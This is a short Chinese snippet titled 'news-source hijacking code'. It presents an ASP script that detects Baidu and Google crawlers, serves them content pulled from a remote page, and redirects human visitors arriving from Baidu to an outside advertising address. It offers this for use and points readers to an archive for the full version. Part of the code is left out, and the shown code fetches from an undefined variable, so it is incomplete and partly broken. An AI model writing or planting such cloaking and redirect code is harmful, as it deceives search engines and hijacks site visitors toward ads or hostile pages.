新闻源劫持代码

<% 
function GetBot() 
此处省略N行……查看新闻源劫持完整代码请下载压缩包
if GetBot="baidu" then 
'给百度蜘蛛定制的内容 
url="http://www.LsevenTT.com" 
'想要展示给蜘蛛的页面地址 
wstr=GetHtml(Remote_file)
body=wstr 
response.write ""&body&"" 
response.end 
elseif GetBot="google" then 
'给google 蜘蛛定制的内容 
url="http://www.LsevenTT.com" 
wstr=GetHtml(Remote_file)
body=wstr 
response.write ""&body&"" 
response.end 
end if 
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then 
'如果用户来自www.baidu.com   这里可以填你的广告地址
response.redirect("http://www.LsevenTT.com") 
'跳转指定地址 
end if 
%>